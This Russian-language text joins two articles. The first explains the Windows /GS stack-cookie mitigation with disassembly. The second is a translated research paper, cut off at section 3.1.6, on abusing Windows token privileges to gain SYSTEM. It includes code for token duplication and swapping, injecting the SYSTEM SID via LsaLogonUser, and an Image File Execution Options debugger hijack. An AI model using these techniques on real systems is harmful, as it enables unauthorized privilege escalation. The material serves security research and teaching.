**Механизмы защиты Windows от эксплуатации уязвимостей. Часть 1.
Intro**
В этой серии статей мы поговорим о механизмах защиты от эксплуатациии
уязвимостей в Windows.
Эта статья для моего телеграм канала Order Of Six Angles
Начать копать эту тему, меня подтолкнула новость, о новой технологии защиты от
ROP, которая будет реализована в новых процессорах Intel на уровне железа, но
уже реализованной в Windows 10 в софтварном виде. О ней позже, в следующих
частях.
Методы предотвращения эксплуатации делятся на защиту уровня ОС и защиту на
уровне компилятора.
Compile based - то что встраивает компилятор
OS based - защита самой Windows, не зависящая от того, как вы собрали
свою программу
Hardware based - защита на уровне процессора
Buffer security check
Переполнение буфера используется в эксплоитах, для перезаписи адреса возврата
из функции, что позволяет перенаправить выполнение на свой вредоносный код.
Советую прочитать мою статью "Классический buffer overflow и создание шеллкода вручную", чтобы понимать детали.
Если кратко, то перед буфером обычно находится адрес кода, который будет
выполнен по завершению функции. Записав в буфер больше данных, чем он
содержит, мы выйдем за границы и получим доступ к этому адресу (на картинке
это ret адрес, от слова return).
Buffer security check - это compile based защита компилятора Microsoft
C/C++. Представлена она в виде ключа компиляции
[/GS](https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-
check?view=vs-2019), который включен по дефолту. Компилятор сам определяет
функции в вашей программе, которые могут быть подвержены переполнению буфера и
защищает их.
Давайте посмотрим, в чем она заключается. Для этого я написал простенькую программу, которая пишет в 64 байтный буфер 128 байт из файла.
Code:Copy to clipboard
int main()
{
unsigned char buf[64];
FILE *fp = fopen("crash_file", "r");
fread(buf, 1, 128, fp);
return 0;
}
Скомпилировал оба варианта, с ключом /GS и /GS- (отключает защиту). Откроем в
IDA и посмотрим, что получилось.
Наглядно видим разницу - некое значение security cookie
записывается в
начале функции и проверяется в конце (__security_check_cookie()
). Разберем
построчно
Code:Copy to clipboard
mov eax, __security_cookie ; Записываем в регистр eax значение security cookie
xor eax, ebp ; Добавляем рандом в значение
mov [ebp + var_4], eax ; Кладем на стек, после ebp
Проверка security cookie
Code:Copy to clipboard
mov ecx, [ebp + var_4] ; Кладем в регистр ecx значение security cookie
xor ecx, ebp ; Восстанавливаем изначальное значение
call __security_check_cookie(x) ; Проверяем
Стек теперь выглядит вот так
Если вы выйдете за границы буфера, то затрете security cookie и после проверки
не произойдет переход по адресу возврата, что является сутью эксплуатации
переполнением буфера. При этом, программа мгновенно завершится. Изучим, что же
такое security cookie. Ниже код в самом начале нашей программы
security cookie
сравнивается со стандартным значением 0x0BB40E64E
test
- это побитовый AND. Результат security cookie AND 0x0FFFF0000
должен равняться нулюЕсли одно из этих условий выполняется, то начинается генерация настоящего
security cookie
. Выглядит она вот так
Здесь вызываются функции
GetSystemTimeAsFileTime
- текущая дата и времяGetCurrentThreadId
- id потокаGetCurrentProcessId
- id процессаQueryPerformanceCounter
- это тот же timestamp, но с повышенной точностьюРезультаты функций ксорятся, вот и готово security cookie
.
Теперь рассмотрим проверку по завершению функции
Если помните, ранее в регистр ecx
мы положили восстановленное значение
security cookie
. В конце мы просто сравниваем с изначальным значением и если
оно изменилось то завершаем процесс
Важный момент - любая программа скомпилированная, с помощью Microsoft C/C++
компилятора, начинает свое выполнение не с вашей main()
функции, а с функций
инициализации C Runtime. Именно там генерируется security cookie
. Но если вы
компилируете с флагом /ENTRY
и явно указываете с какой функции начинать свою
программу, то эту процедуру вы пропускаете и должны сами вручную вызывать
функцию генерации security cookie
. Если вы этого не сделаете, то как вы уже
видели, оно примет стандартное значение, а значит злоумышленник в своем
эксплоите захардкодит его и пройдет проверку.
Outro
Как видите, все довольно тривиально. Я и сам до этого момента не погружался в
детали этой защиты. Можно сказать, что мы сделали это вместе!)
На этом первая часть завершена, всем спасибо!
Автор Thatskriptkid / @OrderOfSixAngles
Введение
За последние несколько лет эксплуатация ядра Windows становилась все более сложной, особенно с выпуском системы Windows 10 и её последующими обновлениями ядра. Методы рождались и умирали в течение нескольких месяцев, новые быстро заменяли старые, которые не работали. Сами техники стали хрупкими, подходящими только к определенному шаблону или пространству.
Эксплуатация часто опиралась на получение какой-либо формы выполнения произвольного кода. Получение примитива для чтения/записи, стратегий для работы со стеком, позволяющих обойти защиту, и в конечном итоге получить выполнение привилегированного действия. Недавно мы наблюдали тенденцию к базовым логическим действиям, таким как кража токенов, включение битов режима бога, обнуление дескрипторов безопасности токена. ([https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening- windows-10-with-zero-day-exploit- mitigations/](https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening- windows-10-with-zero-day-exploit-mitigations/)) Эти действия делегируют кражу привилегий в пользовательском пространстве, освобождая разработку эксплоита от адовых ограничений ядра.
Шеллкод для кражи токенов, популярен среди многих разработчиков эксплоитов и авторов вредоносных программ на протяжении многих лет, и это не случайность. Это был чрезвычайно надежный метод, предлагающий стабильный, простой шеллкод и, до недавнего времени, приемлемое поведение. Microsoft реализовала эвристическое обнаружение в рамках платформы Advanced Threat Protection (<https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our- customers-security/>), но пока еще ничего не реализовала в самом ядре Windows. Для авторов вредоносных программ и скрипт-киддисов это может быть приемлемо, но для серьёзных противников или "Red Team" конечно нет.
Цель этой статьи состоит в том, чтобы обсудить один из таких логических приемов, которые мы усовершенствовали за последние несколько месяцев и применяем в действии. Хотя сами методы не новы (<https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our- customers-security/>), мы надеемся представить новые подходы и идеи, которые могут помочь в дальнейшем совершенствовании этого метода и других.
В дополнение к эксплуатации ядра, злоупотребления привилегиями токена могут быть использованы другими, менее экзотическими способами. В ситуациях, когда служебная учетная запись скомпрометирована, у которой включены нестандартные привилегии, их часто можно использовать для повышения привилегий (EoP - elevation of privilege). Методы для этого специфичны для каждой привилегии, часто недокументированны и во многих случаях нетривиальны. В разделе 3.3 этого документа мы показываем, сколько из этих привилегий может быть использовано для EoP в обычных тестах на проникновение и в сценариях "Red Team".
Мы стремимся объединить разрозненные источники и предоставить справочную информацию для будущей работы. Мы признаем время и усилия других исследователей в том же области работы и надеемся дать что-то значимое сообществу в целом.
1 - Обзор Токена
Основа нашей стратегии опять-таки основана на самой модели доступа к объектам в Windows. Windows использует объекты токенов для описания контекста безопасности определенного потока или процесса. Эти объекты токенов, представленные структурой nt!_TOKEN, которая содержит обширную информацию о безопасности и справочную информацию, включая уровень целостности, привилегии, группы и многое другое. Наше внимание сосредоточено на привилегиях, содержащихся в этих токенах.
1.1 - Модель Привилегий Windows
Мы кратко опишем модель привилегий Windows, поскольку она относится к токенам процессов и потоков. Если вам нужно подробное объяснение, авторы рекомендуют прочитать книгу «Внутреннее устройство Windows» или провести некоторое время в отладчике Windbg.
Каждый процесс в системе содержит ссылку на объект токена в своей структуре EPROCESS, которая используется во время согласования доступа к объекту или привилегированных системных задач. Этот токен предоставляется через службу LSASS во время процесса входа в систему, и, таким образом, изначально все процессы в сеансе выполняются под одним и тем же токеном.
Процесс содержит основной токен, и потоки, выполняющиеся внутри процесса, наследуют этот же токен. Когда потоку необходим доступ к объекту с использованием другого набора учетных данных, он может использовать токен исполнения роли(impersonation token). Использование токена исполнения роли не влияет на основной токен или другие потоки, а только на выполнение в контексте потока исполнения роли. Эти токены исполнения роли могут быть получены с помощью ряда различных API, предоставляемых ядром.
Токен служит билетом доступа к процессам, который должен быть предоставлен различным компонентам (gatekeepers) в Windows; токен предоставляется через функцию SeAccessCheck при доступе к объекту и функцию SeSinglePrivilegeCheck во время привилегированных операций. Например, когда процесс запрашивает доступ для записи в файл, функция SeAccessCheck оценивает уровень целостности токенов, а затем оценивает его Дискреционный Список Контроля Доступа (DACL). Когда процесс пытается завершить работу системы через функцию NtShutdownSystem, ядро проверяет, активирован ли токен у запрашивающего процесса SeShutdownPrivilege или нет.
1.2 - Структура Токенов и Привилегии
Как уже упоминалось, структура _TOKEN в основном содержит контекстную информацию о безопасности процесса или потока. Соответствующая запись для наших целей это _SEP_TOKEN_PRIVILEGES, расположенная по смещению 0x40, содержащая информацию о привилегиях токена:
C:Copy to clipboard
kd> dt nt!_SEP_TOKEN_PRIVILEGES c5d39c30+40
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x800000
Запись Present представляет переменную типа long long без знака, содержащую текущие привилегии в токене. Это не означает, что они включены или отключены, но только то, что они существуют на токене. После создания токена, вы не можете добавить к нему привилегии; Вы можете только включить или отключить существующие, найденные в этом поле. Второе поле, Enabled, представляет переменную типа long long без знака, содержащую все включенные привилегии на токене. В этой битовой маске должны быть включены привилегии для передачи функции SeSinglePrivilegeCheck. Последнее поле, EnabledByDefault, представляет начальное состояние токена на момент создания.
Привилегии могут быть включены или отключены путем изменения определенных битов в этих полях. Например, чтобы задействовать SeCreateTokenPrivilege, нужно просто выполнить: _SEP_TOKEN_PRIVILEGES + 0x44 | = 1 << 0x000000002. Отключение привилегии будет обратным: _SEP_TOKEN_PRIVILEGES + 0x44 & = ~ (1 << 0x000000002). Вспомогательный скрипт на Pykd можно найти здесь (https://github.com/hatRiot/token-priv ).
До недавнего времени, нужно было только устанавливать биты в поле "Enabled", чтобы фактически переключать привилегии в токене. Это означает, что для включения привилегий достаточно одной записи - частичной или другой. Однако с выпуском Windows 10 v1607 ядро теперь проверяет, что разрешающие биты также отображаются в поле Present (http://www.anti- reversing.com/2251/).
Хотя на первый взгляд модель безопасности токенов для определения конкретных привилегий для различных задач, по-видимому, позволяет реализовать детализированные средства управления доступом, специфичные для службы, при более внимательном рассмотрении выявляется более сложная ситуация. Многие из привилегий, если они включены, позволяют пользователю выполнять привилегированные действия, которые могут привести к повышению привилегий. Это эффективно разрушает "мелкозернистую" структуру управления доступом и может дать ложное чувство безопасности.
1.3 — Токен Исполнения Роли
Прежде чем углубляться в конкретные привилегии, будет полезно описать механизм Windows для определения, может ли конкретный поток использовать данный токен. Любой пользователь может получить дескриптор привилегированного токена, но возможность использовать его - другое дело.
В Windows "Токен Исполнения Роли" - это когда новый токен назначается потоку, который отличается от токена родительского процесса. Хотя слова Исполнения Роли подразумевают, что один пользователь использует токен, принадлежащий другому пользователю, это не всегда так. Пользователь может выдавать себя за принадлежащий ему токен, но просто имеет другой набор привилегий или некоторые другие модификации.
Одним из полей, указанных в каждом токене, является уровень исполнения роли токенов. Это поле определяет, можно ли использовать этот токен в целях исполнения роли и в какой степени. Существует четыре уровня исполнения роли:
SecurityAnonymous - Сервер не может идентифицировать клиента.
SecurityIdentification - Сервер может получить идентификационные данные и привилегии клиента, но не может выдать себя за клиента.
SecurityImpersonation - Сервер может исполнить роль контекста безопасности клиента в локальной системе.
SecurityDelegation - Сервер может исполнить роль контекст безопасности клиента в удаленных системах.
SecurityImpersonation and SecurityDelegation это самые интересные случаи для нас. Идентификационные токены и ниже не могут быть использованы для запуска кода.
Разрешено ли данному пользователю выдавать себя за конкретный токен или нет, можно определить следующим образом:
ЕСЛИ уровень токенов МЕНЬШЕ Impersonate, ТО разрешить (такие токены называются уровнем "Идентификация" и не могут использоваться для привилегированных действий).
ЕСЛИ процесс имеет привилегию "Impersonate" ТОГДА разрешать.
ЕСЛИ уровень целостности процесса МЕНЬШЕ ИЛИ РАВЕН уровню целостности токена И пользователь процесса РАВЕН пользователю токена, ТОГДА разрешить ИНАЧЕ ограничить токен уровнем "Идентификация" (привилегированные действия невозможны).
2 - Современные средства безопасности и их методы
Windows 10 значительно повышает безопасность ядра Windows, как в плане общего уменьшения поверхности атаки, так и улучшения существующих средств защиты. Microsoft продолжает перебирать защитные механизмы: KASLR продолжает получать столь необходимые улучшения (все еще много утечек), усложнение часто эксплуатируемых структур для примитивов чтения/записи (tagWND) и улучшение защитного механизм против техники NULL SecurityDescriptor ([https://labs.nettitude.com/blog/ana...n-in-the-latest- windows-10-v1607-build-14393/](https://labs.nettitude.com/blog/analysing-the- null-securitydescriptor-kernel-exploitation-mitigation-in-the-latest- windows-10-v1607-build-14393/)). На протяжении многих лет злоумышленники демонстрировали, что подавление отдельных стратегий порождает только новые, и цикл продолжается.
Чтобы обеспечить некоторый контекст по обсуждаемым темам, далее следует краткое описание современных методов защиты ядра и методов эксплуатации. Если у тебя есть вопросы, просто напиши Ionescu.
2.1 - Современные средства защиты ядра Windows
Windows 10 и последующие обновления (Anniversary/Creators) включили в себя ряд улучшений по защите от эксплойтов, подробно описанных на Blackhat 2016 ([https://www.blackhat.com/docs/us-16/materials/us-16-Weston- Windows-10-Mitigation- Improvements.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Weston- Windows-10-Mitigation-Improvements.pdf) ). Мы рекомендуем ознакомиться со ссылками на слайды для получения дополнительной информации и статистики по общим вопросам связанных с безопасностью Windows. Мы сосредоточимся на мерах по безопасности, относящихся к данной теме.
Ядро ASLR улучшилось за счет включения ASLR в различных регионах и структурах ядра. Хотя это сильная стратегия зашиты для удаленных эксплойтов ядра, существует несколько открытых и закрытых стратегий для утечки адресов объектов в ядре (https://github.com/sam-b/windows_kernel_address_leaks ) , и, таким образом, это не представляет большой угрозы для описанной здесь техники. Основные структуры данных и области памяти, когда-то использовавшиеся для обходов KASLR, такие, как таблица диспетчеризации HAL, теперь полностью рандомизированы.
AppContainer, впервые представленный в Windows 8, предоставляет возможности песочницы для пользовательских приложений. Этот элемент управления был расширен в Windows 10 для включения фильтрации системных вызовов win32k, который ограничивает процесс от злоупотребления различными системными вызовами win32k. Эта защита в настоящее время только (официально) включено для браузера Edge, и, следовательно, она не очень интересна.
Распространенным примитивом чтения/записи в ядре является структура tagWND, которая при повреждении допускает произвольное чтение/запись через функции InternalGetWindowText/NtUserDefSetText. Было обнаружено, что эксплойты для MS15-061 и совсем недавно MS16-135 используют эту технику. Anniversary Update теперь предоставляет дополнительные проверки границ для этого конкретного объекта, делая эксплоит бесполезным. Хотя эта форма атаки является элементарной, очень раздражает необходимость находить другие примитивы чтения/записи, она может быть эффективной для взлома уже развернутых/разработанных цепочек.
Внедрение SMEP в Windows 8 означает, что мы больше не можем просить ядро выполнить шелл-код из пользовательского режима для нас. Многие обходы использовались на протяжении многих лет, некоторые все еще эффективны, но большинство нет. Уклонение от данной атаки обычно включает в себя отключение некоторого элемента безопасности или получения кода в ядре (через регионы RWX или Kernel ROP). Поскольку мы не стремимся выполнять какой-либо шеллкод в ядре или даже в пользовательском пространстве, эта защита не применяется.
Еще одна интересная защита - мифический Patchguard, ранее известный как Kernel Patch Protection, давно представленная ядру x64 NT. Если вы не знакомы с этой защитой, знайте, что это бугимен ядра. Защита отслеживает случайное подмножество проверок в случайные моменты времени по случайным причинам. Его инициализация и поведение во время выполнения обфусцированы. Его исходный код и поведение скрыты даже от внутренних разработчиков Windows. Skywing и Skape ранее проделали довольно много работы, реверся и документируя его части, и на них следует ссылаться для дальнейшего рассказа (http://uninformed.org/index.cgi?v=8&a=5&p=2)
Начиная с Windows 10, в Patchguard имеется 44 различных проверки (видимые через !analyse -show 109), и хотя авторы с подозрением относятся к полноте списков, защита токенов процесса не предусмотрена.
2.2 - Соответствующие Cтратегии Эксплуатации
Предыдущая, связанная работа, которая обеспечила влияние и косвенное руководство для стратегии этой статьи, представлена здесь. Эти сопутствующие методы кратко изложены, чтобы предоставить справочную информацию и воздать должное тем, кто был до нас.
Статья Cesar Cerrudos Easy Local Windows Kernel Exploration, опубликованная на Blackhat 2012 ([https://media.blackhat.com/bh- us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf](https://media.blackhat.com/bh- us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf) ) , представил три различных стратегии повышения привилегий и указала многим разработчикам эксплойтов на силу злоупотребления токенами процесса. Первый метод, продемонстрированный в статье, рассказывает подробно о стратегии NULL ACL, в которой произвольная запись может использоваться для NULL привилегированного объекта ACL. Это была и остается очень распространенной стратегией для эффективного перехода к более привилегированным процессам.
Вторая стратегия Cerrudos это наша версия с бомбардировкой, в которой произвольная запись может включить все привилегии в токене процесса. С этими привилегиями можно использовать атрибут SeDebugPrivilege и переходить к более привилегированному процессу, создавать токены с привилегиями SeCreateTokenPrivilege или загружать драйверы ядра с привилегиями SeLoadDriverPrivilege.
Третья и последняя стратегия Cerrudos это еще один метод, очень популярный в современных эксплойтах EoP, который предусматривает замену токена процесса на токен SYSTEM. Это было подробно описано с разных точек зрения в других местах и не будет повторяться здесь.
Yin Liang и Zhou Li из Tencent провели и опубликовали аналогичное исследование на Blackhat Europe 2016, в котором они продемонстрировали злоупотребление частичной записью с объектами Windows для получения примитивов для чтения/записи (<https://www.blackhat.com/docs/eu-16/materials/eu-16-Liang- Attacking-Windows-By-Windows.pdf>). Как и наша работа, они были сосредоточены на частично контролируемых, ограниченных ошибках записи, таких как MS16-135 и CVE-2016-0174, в которых можно контролировать инструкции OR или DEC. В этих случаях, особенно с участием системы win32k, наша стратегия устраняет необходимость в получении примитива.
Moritz Jodeit опубликовал отличную статью о CVE-2014-4113, в которой он изменил структуру SEP_TOKEN_PRIVILEGES с помощью неконтролируемой записи, чтобы включить дополнительные привилегии токена ([https://labs.bluefrostsecurity.de/publications/2016/01/07/exploiting- cve-2014-4113-on- windows-8.1/](https://labs.bluefrostsecurity.de/publications/2016/01/07/exploiting- cve-2014-4113-on-windows-8.1/))_. Его метод представляет интерес, поскольку в то время он продемонстрировал современное уклонение от защиты без перезаписи указателя или выполнения шеллкода, с дополнительным преимуществом значительно упрощенного процесса эксплуатации.
**3 - Злоупотребление привилегиями токена
3.1 - Эксплуатируемые привилегии**
Для целей этой статьи, мы определим "эксплуатируемую" привилегию как любую привилегию токена, которую можно использовать отдельно для получения доступа уровня "NT AUTHORITY\SYSTEM» на целевой системе.
Как упоминалось в разделе 1.2, структура nt!_SEP_TOKEN_PRIVILEGES - это двоичное поле в токене, где каждый бит определяет, присутствует ли данная привилегия в токене. Точную структуру этой битовой маски, какие биты соответствуют каким привилегиям, можно найти в коде, выпущенном вместе с этим проектом, в частности в скрипте pykd — "tokenum.py".
В оставшейся части этого раздела рассматриваются детали каждой привилегии, которую мы смогли успешно использовать для получения повышенных привилегий. Образцы кода для использования каждой из этих привилегий включены в этот проект.
3.1.1 – Привилегия SeImpersonatePrivilege
SeImpersonatePrivilege описывается в MSDN как "User Right: Impersonate a client after authentication." Это привилегия, упомянутая в разделе 1.4 на втором этапе, при проверке того, может ли конкретный процесс выдавать себя за данный токен. Любой процесс, обладающий этой привилегией, может выдавать себя за любой токен, для которого он может получить дескриптор. Следует отметить, что эта привилегия не позволяет создавать новые токены.
Эта особая привилегия довольно интересна, поскольку она требуется для ряда общих учетных записей служб Windows, таких, как LocalService и для MSSQL и IIS. "Эксплойт" для этой привилегии также может привести к повышению привилегий, если какие-либо из этих учетных записей будут скомпрометированы. Это было предметом предыдущей работы авторов ([https://foxglovesecurity.com/2016/0...e-escalation-from-service-accounts-to- system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege- escalation-from-service-accounts-to-system/)).
В ([https://bugs.chromium.org/p/project- zero/issues/detail?id=325](https://bugs.chromium.org/p/project- zero/issues/detail?id=325) ) описан способ получения дескриптора токена для учетной записи "NT AUTHORITY\SYSTEM". В основном службе Windows (DCOM) передается специально созданный объект, который содержит ссылку на контролируемый злоумышленником TCP-слушатель на локальном компьютере. Когда Windows пытается разрешить эту ссылку, злоумышленник запрашивает NTLM аутентификацию, а затем передает аутентификацию NTLM, отправленную слушателю, для создания нового токена на локальном компьютере. Этот токен будет для пользователя "NT AUTHORITY\SYSTEM" и будет иметь все права администратора.
Любой пользователь может выполнить ранее описанную процедуру, чтобы получить дескриптор токена для пользователя "NT AUTHORITY\SYSTEM", однако для использования этого дескриптора требуется возможность исполнять роль; SeImpersonatePrivilege позволяет нам сделать это. Все, что требуется для порождения нового процесса с повышенным токеном, - это вызвать функцию CreateProcessWithTokenw, передав новый токен в качестве первого аргумента.
3.1.2 — Привилегия SeAssignPrimaryPrivilege
SeAssignPrimaryPrivilege очень похожа на ранее обсуждавшуюся SeImpersonatePrivilege. Необходимо только "назначить основной токен процесса". Наша стратегия заключается в создании нового процесса с использованием, более привилегированного токена.
Чтобы создать новый процесс с привилегированным токеном, нам сначала нужно получить дескриптор такого токена. Для этого мы следуем процедуре, описанной в (https://bugs.chromium.org/p/project-zero/issues/detail?id=325) и кратко изложенной в разделе 3.1.1.
Как следует из названия этой привилегии, она позволяет нам назначить основной токен новому или приостановленному процессу. Используя стратегию, описанную в 3.1.1, для получения токена, мы находимся с привилегированным токеном исполнения роли и, таким образом, сначала должны извлечь из него первичный токен. Это может быть выполнено через функцию DuplicateTokenEx:
DuplicateTokenEx(hClientToken, TOKEN_ALL_ACCESS, NULL, SecurityAnonymous, TokenPrimary, &hDupedToken);
С привилегированным первичным токеном у нас теперь есть несколько вариантов. К сожалению, мы не можем просто поменять токен нашего текущего запущенного процесса на привилегированный, так как изменение основных токенов в запущенных процессах не поддерживается. Это контролируется полем PrimaryTokenFrozen в структуре EPROCESS.
Самый простой вариант - вызвать функцию "CreateProcessAsUser", используя новый токен в качестве аргумента для создания нового процесса с высокими привилегиями.
В качестве альтернативы, мы можем запустить новый процесс в приостановленном состоянии и выполнить ту же операцию, что и выше. Когда создаются новые процессы с вызовом функции CreateProcess (..., CREATE_SUSPENDED, ...), значение для PrimaryTokenFrozen еще не установлено, что позволяет менять токен.
Следствием предыдущего пункта является то, что в некоторых сценариях частичной эксплуатации записи мы можем фактически заменить токен запущенного в данный момент процесса на привилегированный. Если мы можем заставить поле PrimaryTokenFrozen быть сброшенным посредством частичной записи, предполагая, что мы обладаем, или можем получить SeAssignPrimaryTokenPrivilege, мы можем затем вызвать функцию NtSetInformationProcess, чтобы заменить старый токен на новый. Поскольку PrimaryTokenFrozen является однобитовым полем, окружающие поля являются релевантными, потому что они, вероятно, будут уничтожены при любой частичной записи:
C:Copy to clipboard
+0x0c8 RefTraceEnabled : Pos 9, 1 Bit
+0x0c8 DisableDynamicCode : Pos 10, 1 Bit
+0x0c8 EmptyJobEvaluated : Pos 11, 1 Bit
+0x0c8 DefaultPagePriority : Pos 12, 3 Bits
+0x0c8 PrimaryTokenFrozen : Pos 15, 1 Bit
+0x0c8 ProcessVerifierTarget : Pos 16, 1 Bit
+0x0c8 StackRandomizationDisabled : Pos 17, 1 Bit
Если, например, у вас есть произвольный декремент, как в уязвимости MS15-061, вы можете сбросить бит TokenPrimaryFrozen и обменять токен процесса:
NtSetInformationProcess(hCurrentProcess,(PROCESS_INFORMATION_CLASS)0x09, &hElevatedPrimaryToken, 8);
3.1.3 — Привилегия SeTcbPrivilege
SeTcbPrivilege довольно интересна. MSDN описывает её как "Эта привилегия идентифицирует своего владельца как часть базы доверенных компьютеров. Некоторым доверенным защищенным подсистемам предоставляется эта привилегия". В дополнение к этому, в ряде книг, статей и сообщений на форумах описывается привилегия TCB как эквивалент полностью привилегированного доступа к машине. Однако, несмотря на все это, ни один из общедоступных ресурсов, кажется, не указывает, как SeTcbPrivilege может использоваться сам по себе для выполнения привилегированных операций.
Мы начали с анализа документации MSDN, пытаясь выяснить, какие вызовы Windows API были разрешены для учетных записей с помощью SeTcbPrivilge. В документации по
функции LsaLogonUser в качестве первого параметра мы находим следующее:
LsaHandle [in] это дескриптор, полученный из предыдущего вызова функции LsaRegisterLogonProcess. Вызывающая сторона должна иметь SeTcbPrivilege, только если выполняется одно или несколько из следующих условий:
+ Используется пакет Subauthentication.
+ KERB_S4U_LOGON используется, и вызывающая сторона запрашивает токен
имперсонализации.
+ Параметр LocalGroups не равен NULL.
Если SeTcbPrivilege не требуется, вызовите функцию LsaConnectUntrusted для получения дескриптора.
Обычно вызов функции LsaLogonUser используется для аутентификации пользователя с использованием некоторой формы учетных данных, однако мы предполагаем, что нам неизвестно о целевой системе и ее пользователях. Кроме того, какой пользователь будет пытаться войти? Наконец, как мы будем исполнять роль полученного токен, поскольку у нас нет SeImpersonatePrivilege?
К счастью, James Forshaw включил очень полезное сообщение <140 символов:
"Вы можете использовать функцию LsaLogonUser, чтобы добавить группу администраторов к токену вашего собственного пользователя, а затем выдать себя за другого".
В Windows есть интересный тип входа, известный как вход в систему S4U (и упоминаемый выше как KERB_S4U_LOGON). Это эффективно описано в блоге MSDN ([https://blogs.msdn.microsoft.com/winsdk/2015/08/28/logon-as-a-user-without- a-password/](https://blogs.msdn.microsoft.com/winsdk/2015/08/28/logon-as-a- user-without-a-password/)) следующим образом:
"В Windows можно войти в систему как пользователь другого домена без каких- либо учетных данных. Это известно как S4U или Сервис для входа пользователя. Это расширение Microsoft для Kerberos, представленное в Windows Server 2003."
Кажется, это соответствует тому, что мы пытаемся сделать идеально; используя тип входа S4U, мы можем получить токен для любого пользователя. Возвращаясь к документации по параметру LsaHandle выше, если у нас есть SeTcbPrivilege, очевидно, что полученный токен может быть токеном "имперсонализации", то есть мы можем назначить его потоку.
Снова обращаясь к параметру LsaHandle, последний пункт означает, что мы можем вызвать функцию LsaLogonUser с помощью SeTcbPrivilege и добавить произвольные группы к результирующему токену, возвращенному этим вызовом. Мы добавим SID группы "S-1-5-18" к токену, это SID для учетной записи Локальной Системы, и если мы используем токен, которым он принадлежит, мы получим полную привилегию в системе. Добавить системный SID довольно просто:
C:Copy to clipboard
WCHAR systemSID[] = L"S-1-5-18";
ConvertStringSidToSid(systemSID, &pExtraSid);
pGroups->Groups[pGroups->GroupCount].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY;
pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid;
pGroups→GroupCount++;
Единственная часть, оставшаяся в этой головоломке, - это то, как мы будем использовать полученный маркер имперсонализации, поскольку мы предполагаем, что у нас есть привилегия SeTcbPrivilege, но нет никаких других привилегий. Возвращаясь к разделу 1.4, посвященному правилам, связанным с токеном имперсонализаци, мы видим, что мы должны иметь возможность выдавать себя за токен без каких-либо специальных привилегий, если токен предназначен для нашего текущего пользователя, а уровень целостности токена равен “Medium”. Таким образом, используя токен, возвращенный функцией LsaLogonUser, мы просто устанавливаем уровень целостности “Medium”, а затем вызываем функцию SetThreadToken, чтобы заменить токен нашего текущего потока новым.
3.1.4 — Привилегия SeBackupPrivilege
Привилегия SeBackupPrivilege описывается в MSDN следующим образом:
«Требуется для выполнения операций резервного копирования. Эта привилегия заставляет систему предоставлять все права доступа для чтения любому файлу, независимо от списка управления доступом (ACL), указанного для файла. Любой запрос доступа, кроме чтения, все еще оценивается с помощью ACL. Эта привилегия требуется для функций RegSaveKey и RegSaveKeyExfunctions. Следующие права доступа предоставляются, если эта привилегия удерживается: -READ_CONTROL -ACCESS_SYSTEM_SECURITY -FILE_GENERIC_READ -FILE_TRAVERSE ”
Чтобы использовать эту привилегию для EoP, мы читаем хэши паролей учетных записей локальных Администраторов из реестра и затем передаем их локальной службе, из которой мы можем получить выполнение кода, самым популярным методом здесь будет просто передать хеш с помощью “psexec” или “wmiexec”.
К сожалению, для нас есть два предостережения в этом сценарии. Во-первых, многие организации за последние несколько лет начали отключать локальные учетные записи администраторов. Во-вторых, даже в тех случаях, когда некоторые учетные записи локальных администраторов остаются включенными, корпорация Майкрософт внесла изменения в Windows Vista и новее, когда только учетная запись RID 500 (локальный Администратор по умолчанию) может удаленно администрировать машину по умолчанию:
Когда пользователь, который является членом группы локальных администраторов на целевом удаленном компьютере, устанавливает удаленное административное соединение ... он не будет подключаться как настоящий администратор. У пользователя нет возможности повышения прав на удаленном компьютере, и он не может выполнять административные задачи.
Однако, как показывает наш опыт, в корпоративных средах все еще довольно часто включена учетная запись локального администратора RID 500.
3.1.5 — Привилегия SeRestorePrivilege
Привилегия восстановления описывается как "необходимая для выполнения операций восстановления" и заставляет систему предоставлять все права доступа для записи любому файлу в системе, независимо от файлов ACL. Кроме того, эта привилегия позволяет процессу хранения или потоку изменять владельца файла. Последствия получения этой привилегии должны быть очевидны.
Чтобы использовать эту привилегию, необходимо разрешить флаг FILE_FLAG_BACKUP_SEMANTICS для поддержки API. Это подсказывает ядру, что в запрашивающем процессе могут быть включены SeBackupPrivilege или SeRestorePrivilege, и проверять его перед short circuiting проверки DACL. Из краткого описания привилегии в MSDN могут заинтересоваться наблюдатели, которые также позволяют создавать или изменять разделы реестра.
Произвольные записи в HKLM открывают бесконечный потенциал для повышения привилегий. Мы решили использовать ключ Image File Execution Options, используемый для отладки программного обеспечения в системе. Когда запускается системный двоичный файл, если для него существует запись HKLM по адресу HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options, и он содержит ключ отладчика, он выполнит заданную запись. Этот метод довольно распространен для уязвимостей, связанных с сохранением вредоносных программ и повышением привилегий ([https://bugs.chromium.org/p/project- zero/issues/detail?id=872](https://bugs.chromium.org/p/project- zero/issues/detail?id=872) ). Эксплуатация просто требует открытия реестра, указания флага резервного копирования и создания ключа:
C:Copy to clipboard
RegCreateKeyExA(HKEY_LOCAL_MACHINE,“HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe”, 0, NULL, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, NULL, &hkReg, NULL);
RegSetValueExA(hkReg, "Debugger", 0, REG_SZ, (const BYTE*)regentry, strlen(regentry) + 1);
В приведенном выше примере мы использовали wsqmcons, службу консолидатора, которая работает с правами SYSTEM и запускается обычным пользователем в системе. Помимо добавления записей реестра, можно также перетаскивать библиотеки DLL в системные папки для перехвата библиотек DLL, перезаписи критических системных ресурсов или изменения других служб.
3.1.6 — Привилегия SeCreateTokenPrivilege
